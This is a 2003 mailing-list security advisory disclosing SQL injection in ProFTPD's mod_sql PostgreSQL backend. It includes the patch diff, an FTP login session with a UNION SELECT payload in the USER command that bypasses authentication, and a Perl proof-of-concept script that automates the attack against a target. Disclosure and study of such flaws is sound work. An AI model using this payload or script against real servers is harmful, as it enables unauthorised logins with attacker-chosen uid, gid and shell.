Message-ID: <20030618204841.26769.qmail@linuxmail.org>
Date: Wed, 18 Jun 2003 21:48:40 +0100
From: "runlevel " <runlevel@...uxmail.org>
To: full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com
Subject: SQL Inject in ProFTPD login against Postgresql using mod_sql


===============================================
    SQL Inject in ProFTPD login against
    Postgresql using mod_sql
===============================================

Author: runlevel [runlevel@...egazz.org]
Date: 20/Jan/2003
Release: 18/Jun/2003
Barcelona, Spain 2003

Systems Affected
================

All ProFTPD prior to ProFTPD 1.2.9rc1 against PostgreSQL using mod_sql
and ProFTPD 1.2.9rc1 using a version lower than PostgreSQL 7.2.


Overview
========

A SQL Inject exists in ProFTPD server using the mod_sql module to 
authenticate against PostgreSQL database server. This vulnerability 
may allow a remote user to login whithout user and password.


Description
===========

Mod_sql is an authentication module for ProFTPD. The backend module 
mod_sql_postgres is used to authenticate users doing a query to 
postgresql server to retrieve user and password.

Mod_sql_postgres don't implements any function to escape strings and 
it may allow to inject sql code in user login. The solution of module
programmer is the comment in the source code:

/* PostgreSQL has no way to escape strings internally */


In proftpd 1.2.9rc1 remove POSTGRES_NO_ESCAPESTRING #define, 
and always expect PQescapestring() to be present. 
With this patch, mod_sql_postgres will always fail unless the Postgres 
library is new enough.


--------------------------------------------------------------------

Index: contrib/mod_sql_postgres.c
===================================================================
RCS file: /cvsroot/proftp/proftpd/contrib/mod_sql_postgres.c,v
retrieving revision 1.15
diff -u -r1.15 mod_sql_postgres.c
--- contrib/mod_sql_postgres.c  29 May 2003 07:29:43 -0000      1.15
+++ contrib/mod_sql_postgres.c  17 Jun 2003 20:52:30 -0000
@@ -1105,23 +1105,13 @@
   conn = (db_conn_t *) entry->data;
 
   /* Note: the PQescapeString() function appeared in the C API as of
-   * Postgres-7.2; this macro allows for functioning with older postgres
-   * installations.  Unfortunately, Postgres' PG_VERSION is defined as
-   * a string, not an actual number, which makes for preprocessor-time checking
-   * of that value much harder.
-   *
-   * Ideally, this function could be detected by a configure script, but
-   * ProFTPD does not yet support per-module configure scripts.
+   * Postgres-7.2.
    */
-#ifndef POSTGRES_NO_PQESCAPESTRING
   unescaped = cmd->argv[1];
   escaped = (char *) pcalloc(cmd->tmp_pool, sizeof(char) *
     (strlen(unescaped) * 2) + 1);
 
   PQescapeString(escaped, unescaped, strlen(unescaped));
-#else
-  escaped = cmd->argv[1];
-#endif
 
   sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_escapestring");
   return mod_create_data(cmd, (void *) escaped);

--------------------------------------------------------------------


Impact
======

Any attacker who can reach a vulnerable server can login whithout user 
and password. Moreover, the attacker can change his login id, gid and 
path.



Proof Of Concept
================

A proof of concept is shown to demostrate de sql injection. The versions
used are: mod_sql v.4.0, postgresql 7.2.1-2 and proftpd 1.2.8.

runlevel@...level:~/$ ftp localhost
Connected to localhost.
220 ProFTPD 1.2.8 Server (Debian) [*****]
Name (localhost:runlevel): ')UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='
331 Password required for ')UNION.
Password:
230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE(''=' logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

We can view the final sql query in syslog:

Jun  9 01:40:54 runlevel proftpd[10978]: ****** (127.0.0.1[127.0.0.1]) - 
mod_sql_postgres/4.01: query "SELECT userid, passwd, uid, gid,
 shell FROM prue WHERE (userid='')UNION SELECT 'u','p',1002,1002,
'/bin/bash' WHERE(''='') LIMIT 1"


Perl script to automatize the process:

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@...egazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;



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                      1996-2003, Derechos Reservados (c)
                        RST - http://www.raregazz.org
     
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